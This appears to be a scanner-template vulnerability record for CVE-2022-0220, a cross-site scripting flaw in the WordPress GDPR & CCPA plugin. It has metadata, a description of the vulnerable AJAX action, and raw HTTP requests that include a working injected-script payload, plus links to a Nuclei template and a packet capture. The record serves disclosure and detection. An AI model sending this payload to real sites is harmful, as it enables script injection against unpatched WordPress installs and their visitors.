| Title | WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Version 1.9.26 has added a CSRF check. This vulnerability is only exploitable against unauthenticated users. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03083 |
| CVE ID | CVE-2022-0220 |
| CWE ID | CWE-116 |
| Tags | cve2022 cve wpscan wordpress wp-plugin wp xss unauth welaunch vuln |
WordPress GDPR & CCPA plugin before 1.9.27 contains a cross-site scripting vulnerability. The check_privacy_settings AJAX action, available to both unauthenticated and authenticated users, responds with JSON data without an “application/json” content-type, and JavaScript code may be executed on a victim’s browser.
GET /wp-admin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce=joxzII
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0220.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0220.pcap
N/AN/A